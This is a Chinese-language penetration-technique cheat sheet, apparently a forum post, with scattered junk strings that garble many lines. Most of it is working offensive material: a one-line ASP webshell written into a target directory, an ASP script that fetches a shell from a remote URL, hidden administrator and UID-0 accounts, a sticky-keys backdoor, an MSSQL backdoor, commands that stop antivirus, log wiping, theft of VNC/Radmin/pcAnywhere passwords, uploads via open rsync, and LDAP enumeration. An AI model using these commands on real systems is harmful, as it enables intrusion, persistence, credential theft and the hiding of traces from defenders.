渗透技巧总结

admin

旁站路径问题
' {) x9 Q: o4 ^% e7 U! Z1、读网站配置。
2、用以下VBS
On Error Resume Next
) `& K  x2 C! F$ T' k0 `$ p5 `If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
4 c+ z) ]" V, X; q2 [5 T* B# p        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
4 E7 Q1 b6 ]% F. e; |; q4 N& }. p
Usage:Cscript vWeb.vbs",4096,"Lilo"
! L  U: A9 m8 t% h        WScript.Quit
0 Y% J, W; M, ?& O+ @; b2 uEnd If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
. G- j) r9 C+ D$ D, a8 iFor Each obj3w In objservice
- Q: F3 G* c9 c8 n2 l. @        If IsNumeric(obj3w.Name)

Then
' N8 }. s9 w$ m5 H  a                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
% Y! Q, j! N% ?) J  b, k                If Err

<> 0 Then WScript.Quit (1)
: X8 ]  {! }6 W                WScript.Echo Chr(10) & "[" &
4 N4 r9 ]! M) P: A! h
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
) _4 p+ o' L. x  V. W, ^
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
2 @9 G8 E" p# D3 d+ d
  B7 B  ?8 ?1 i! Q+ P  a# ZWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
3 S5 {0 x2 K) Q# B3 l% E3 R& z                Next
2 f, m$ x6 ?7 w) N" K      

         WScript.Echo "ath            : " & VDirObj.Path
; h: P" U1 E6 m$ k, w: q2 Y        End If
; q. n+ [2 i) m* ^7 x# jNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
+ J" ]. P( ~+ X( E- Q, i) {% ^4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
) \* n( m. H# a* ~0 iWordPress的平台，爆绝对路径的方法是：
- [1 a$ E3 ?8 b* u& Wurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
0 ]! H' n8 V0 t; dphpMyAdmin/darkblue_orange/layout.inc.php
! \! |  V; T; I" ], h8 kphpMyAdmin/index.php?lang[]=1
: u& p* k' v) V" Bphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
! S: D; f  M: ?, C网站可能目录(注：一般是虚拟主机类）
" C0 l2 n  ?: I  m, N9 Tdata/htdocs.网站/网站/
————————————————————
" R+ ~' U: V( A; Y' KCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
. h: j4 s: Y" w1 snetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
( {" ?! w' G% a, O' y————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
! n! ?+ \0 Q2 N0 eexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
( t. M! g' |, q3 n  U0 I( m然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
( n* u/ ]9 z( T; g& _在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ f2 O4 N& J6 c9 rjs:
var o=new ActiveXObject( "Shell.Users" );
$ O; W- \; a& ]8 jz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
' E6 p' g3 K4 g2 D$ Q0 U2 a
vbs:
Set   o=CreateObject( "Shell.Users" )
0 Z7 ^' [1 @( h- i  Z* X- fSet z=o.create("test")
7 X$ T3 l. a; iz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
( T1 r: J! n1 |cacls "目录" /d everyone               #everyone不可读，包括admin
$ ?8 x' I3 Z/ T5 Z————————以下配合PR更好————
! J1 ~8 l5 a# d6 K3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
& L& o$ P4 y! w, @( {: ~: W$ eb、内网环境（LCX）
c、终端服务器超出了最大允许连接
# U+ h$ ^' d) n. ~4 iXP 运行mstsc /admin
4 q; y9 L! U" R7 w9 c2003 运行mstsc /console   

& m% r  e* e7 [3 ]( h( |- w杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
3 T1 w6 l& o7 k* gnet stop "Symantec Event Manager" /y
' h( W# N* H+ {, [! h# {; dnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

2 p* [4 z  w! J! w3 B5 [卖咖啡：net stop "McAfee McShield"
, u+ I) Y4 `! ~  J————————————————————

5次SHIFT：
8 D. j9 D0 @* kcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
# H+ l. g  {! R% R4 Fcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
# E2 g$ I0 ~+ e0 }copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
+ ]/ E6 j" S" ]" K0 D隐藏账号添加：
3 `) t/ l8 a/ I+ X- S, ]1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
) j+ D% D6 L- e9 U; u, N2、导出注册表SAM下用户的两个键值
# r# f  P& H% Q; k1 B3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
/ a# c7 `1 ?+ l  V0 h0 z& n4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
9 r, a7 b3 t) F# P+ O( Q" l( J" F; `MSSQL扩展后门：
4 m1 v) a  B( a5 J1 vUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
' P' x8 t: R, _9 ~! SGRANT exec On xp_helpsystem TO public;
* m4 ?) Z8 p) j; w1 h9 H———————————————————————
/ T$ e! ?( v( m# O日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

, w2 u  u. L9 j+ x3 {* \8 R7 pMSSQL查询分析器连接记录清除：
$ D3 r+ e; o1 z9 J* QMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
) i" k* ^6 [& ~9 c) p* HMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

' F/ T! l+ h* @/ E# a& d# \1 yServer\90\Tools\Shell\mru.dat
, @% H1 B* Z6 R/ D* \. L—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

9 V' _4 ~( x6 f# e<%
* L2 t  @, h5 V7 H& iSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
# I" s, S, b  k8 b# |% nDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
, P# G& A& {' W/ t+ a- kGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
( X- [; R1 W8 F; V.Type = 1
.Open
.Write GetRemoteData
5 F: F' c0 b/ ?! Q2 M.SaveToFile Server.MapPath(s_LocalFileName), 2
4 d" Y( L; b/ r/ H# A$ R) m5 j( P.Cancel()
. ?$ V. q' l; N7 k.Close()
4 w2 H7 H' n7 t, }6 J3 bEnd With
  q( f. L4 E8 g0 wSet Ads=nothing
$ a5 `$ S4 q% z8 N8 r! _; mEnd Sub
0 {; C4 m6 u- X, p7 X" {* ]  t5 Q
6 X* E1 |) s  S( v0 QeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
5 V* B8 M9 z. M: @7 `%>

VNC提权方法:
5 S) Q% Z, c$ k1 i* \. U利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
% B3 p# K6 L* v注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
# ^4 Z2 [  f0 ^5 b  URadmin 默认端口是4899，
+ o% c8 r, O$ b; |HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
' B2 l# F+ C: L  X7 K2 J& `; C& u然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
. h' l! W5 f; v! N: j# |' [5 l+ F4 d保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
! |$ N3 j6 [9 I( RUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
; L* Q  u+ k, h3 i- R——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
' S# r; _! ]# e# J. t+ L$ s; D来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
. M# J- w( W0 A4 s& [! R0 J' N没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
) k1 a7 J. Y& B$ h8 d
$ T. i; y" e, W& ^/ B. d/ A1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
% i7 [( k$ Y4 I& a& D/ q& uSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

  y5 d8 J- [9 K+ f$ X";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
+ x$ Z; g: b3 _+ ^2 g
strSQLDBName & ";"
8 U4 ~4 u: W. ~' x7 vconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
0 c) @. h) v1 I; }3 v# z1 Q' \id = request("id")
# g" d  M, a* FstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
0 \0 n( N1 A2 zrs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
6 G/ v/ R2 `$ r# m9 w1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
8 o; z6 s4 Y9 }- c+ x1 P
* h8 P* n" ^, k+ m2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
, E3 e( z2 G* e: x, _
3.查找管理员信息
9 `7 D/ h( H& L& y( B匿名方式
% B% O/ @, a. S$ H& O/ s! \& xldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

$ Z' M" z. {* N4 C: p9 o# ["cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
; W- c+ c, ?+ Aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

9 l# Q: p- p5 _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

# B$ h$ `( \4 V
4.查找10条用户记录
. B( F' b* S% }- V1 s. j# Jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
( a8 O3 R! {: W$ C
- r6 v! l& {6 W- R' j' F实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
& E% V) n+ V- Y7 ^, f
3 S9 ?5 H- f5 O7 v8 F' L3 f2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

6 h4 ^1 s, H; I, ~+ w  s% ^1 k3.查找管理员信息
匿名方式
: Z. r- Q' W  G1 A. J% s$ C! uldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: W5 L: U& h- q
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 l  J% G% k% j  `* A- g9 y3 b9 {* `有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
: R( U8 C; [* kldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 a+ k& V5 ~6 l! C( W# q4 Q
& {4 W- j  R& R: Q$ X渗透实战:
1.返回所有的属性
1 I+ r+ S9 ?- c+ r- S% C, U. Dldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
! I$ I6 W. m* ]: Cversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
4 C3 r$ W8 s% Z, C8 V' _uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
: T9 a4 V: A1 x. O  dobjectClass: top
1 h$ [+ Z1 n8 ^: a! {. `6 X5 n: ysn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
5 F; N0 ^0 o& j" K9 o4 P4 kuid: superadmin
objectClass: inetOrgPerson
2 K) G. A5 A1 ]objectClass: organizationalPerson
5 ?( u4 P7 I- n6 XobjectClass: person
objectClass: top
sn: superadmin
( s$ h% E! M! s1 I) N" p0 |cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
0 N; S: B1 I3 k5 D0 L; Luid: admin
objectClass: inetOrgPerson
5 R  I+ v0 T& r, w& IobjectClass: organizationalPerson
+ e0 e7 B% m) C2 HobjectClass: person
objectClass: top
0 s$ ]( `. _; Q/ _sn: admin
+ G! m; t8 [$ {8 Y: A3 Hcn: admin

8 G& U  t1 m" K! q$ y5 T, idn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
: i- H4 u8 u! R6 ]objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
2 p4 z% y% f! K! zcn: dcp_anonymous

2 n4 }$ L7 c: P) Z- z2.查看基类
' @0 T# e4 K, |! u0 ?4 u" Gbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
0 B  l* l& Q: ~
more
' [. D3 r( V3 P* X& G6 Hversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
/ j' a: E8 W# U! T6 e
+ y- ]2 Y  `& P2 B; U, F% Q3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
1 J; S/ f/ O9 i6 }; O! Q( pversion: 1
dn:
, C: q6 A! i/ U: f* d1 qobjectClass: top
. R5 v% c1 h) W5 g" Q8 I8 xnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
+ Z0 i1 N9 q: N1 ~& j# S, O  PsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
  ~! k. I$ w( t/ vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
; s; Y* R2 T# S9 l6 }supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
- L  Z2 q3 X5 A2 R+ Y' o0 m; dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
5 I' y) G) }0 asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
: t7 G/ J( T" _8 P( t2 v4 N$ _+ }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
; @, j$ s1 ?! Q& osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
7 P2 ?+ p8 B" O2 g, r! dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
5 o; M6 r' L8 E+ u, Y0 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
+ x  |) A) U" u6 H& s7 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
! |" A3 u. V8 C. X& Y* h/ I  ^* _8 QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
0 s2 X4 u0 w" qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
8 ]/ w, o8 b2 f% c# X: MsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
( ^. Z$ W- u8 U( Y; SsupportedControl: 2.16.840.1.113730.3.4.9
3 ^4 @; B( B. d! A. ssupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
" {/ V7 J( s7 U+ Q+ M6 W+ H5 qsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
& i: J4 Q9 c, B7 L& k& WsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
- ]8 t2 T0 ~3 E/ bsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# S( o, M  y% V7 x, J& p& P& \: ?4 p5 TsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
7 @$ b5 l  W( @- esupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
; V8 Z% V5 I2 i; {' l& zvendorName: Sun Microsystems, Inc.
/ R8 d1 N3 w4 rvendorVersion: Sun-Java(tm)-System-Directory/6.2
4 v/ Z! H  O9 ~9 _* D7 ^$ K# Xdataversion: 020090516011411
) c7 X" i# V: f6 R9 {netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
8 V6 N: v+ y' [& f4 g6 O( wsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
& a0 I7 P- J$ M% ?4 x0 b( M- lsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
3 B8 `& f) x# l) X* ssupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
& b, O% Q' m4 `9 W7 W- \- gsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
$ d  [6 f9 h( O% x6 N4 ZsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
% A$ d- R# Y2 k3 h* DsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
+ A1 ?) K) ?1 W! H  qsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
2 v) t- ^) L1 L' ?supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
% O: o- @& @6 _supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
9 q: s8 x/ M  B. l, ^7 o7 W# wsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
/ J0 J# |7 m5 e- W6 t' m+ n' zsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
' R" g/ `+ u" s; L' Q; @5 n% {supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
* m% i4 ?3 D7 {9 g9 }/ \supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
: Z  F3 q' D. Y4 L  |supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
8 s2 O" L' J& F+ L! B' z" msupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
0 z1 `. n+ J0 Z+ z0 TsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
8 [2 w* ]$ N5 \; X$ JsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
+ E) e4 R! F5 ?9 WsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
9 q) y* u2 i1 R  [" _supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
6 a! k& q4 n) c4 tsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
$ i) Y* z. R' N- V2 Y$ lsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
2 q/ ]! a$ m, }supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
2 y6 C6 l1 d2 VsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
  ~. f' b) k  C2 ?; \7 W7 e( b2. NFS渗透技巧
showmount -e ip
列举IP
9 G* U6 h. @( `" }( x——————
3.rsync渗透技巧
, \2 A+ O0 @) U9 J1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
. n# f! l# T* J/ g# Bauto
" m. X8 o' z* |! Y0 V' }0 Ximg_auto
html_cms
( k2 U! G1 v" E/ \img_cms
ent_cms
2 W7 Z0 w3 i' uent_img
ceshi
" Z5 a# p7 c: p, c8 [res_img
res_img_c2
chip
chip_c2
' i5 c: |. E  `, U% B7 pent_icms
games
# \, E7 M8 h* E; X8 Ngamesimg
media
8 |, F( y2 [, L- u( [$ ?mediaimg
fashion
res-fashion
res-fo
' [/ x/ D% {+ e; u, f2 u5 Xtaobao-home
res-taobao-home
house
+ L) O0 i( b- c$ V- hres-house
. s# Q# V- `9 {6 f5 o" I' ?. |3 rres-home
res-edu
res-ent
res-labs
7 p) C, T& G! q2 K4 X8 _: t1 cres-news
+ P* ^( g+ d& d# H4 T; J1 ]4 \res-phtv
  F( d* d' `6 E, Cres-media
home
edu
news
res-book
9 o# P$ h* Y6 d& x, Q% }; ?
* p0 m! a" S: C  M) V看相应的下级目录(注意一定要在目录后面添加上/)

6 o! E" _  ^; c9 F
$ K3 Q- \) x5 _- l, f0 [, Ersync 210.51.X.X::htdocs_app/
/ |* J# H( p& f. Zrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

# T8 ^, Z( G8 L4 m) e6 @8 ~! a2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
4 V7 o' z2 m6 N6 z  Q4 ^' v( V
3.向上更新rsync文件(成功上传,不会覆盖)
8 f: h: Y) V$ x1 ^$ [4 \rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
8 v8 C1 t0 r: T+ d- Rhttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
$ {% n4 l) J9 l% v8 \. @nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
8 |( W3 K" f1 g: @五.SSH端口转发
( k. B6 s+ O/ c$ s9 Y6 B5 s- @ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

$ \! s8 p7 p& B$ h( G3 l重新设置密码
1 ?1 f+ ]1 w3 c  cindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
* }4 u& K( F6 {+ {useradd -o -u 0 nothack

. [+ i+ M7 K/ X: M+ D3 ?9 f; A6 q八.freebsd本地提权
[argp@julius ~]$ uname -rsi
$ K  y3 l+ N' O! V, Y4 Y5 o! }* freebsd 7.3-RELEASE GENERIC
0 I' L/ c: b. i( k9 q& }# @# J* [argp@julius ~]$ sysctl vfs.usermount
0 G( D5 `2 q" ^" S* vfs.usermount: 1
4 j/ @8 }- N" S! P6 r* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
, y6 y) {' `& h6 G. V$ Z* [argp@julius ~]$ ./nfs_mount_ex
*
+ t* l  f  E0 O1 `/ Scalling nmount()

# {" _! [: L1 h( `（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
; @, H  b& c; B6 q# G——————————————
; o0 p: {$ g, `2 c1 \感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
9 j# |+ J/ @; L$ \; S————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
; P6 W* Q* r& l5 l5 i注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

; g. e- K* q, b( V0 x$ D提权先执行systeminfo
9 U4 R' Z8 @; {, ]$ ^; f* F4 v# Ltoken 漏洞补丁号 KB956572
Churrasco          kb952004
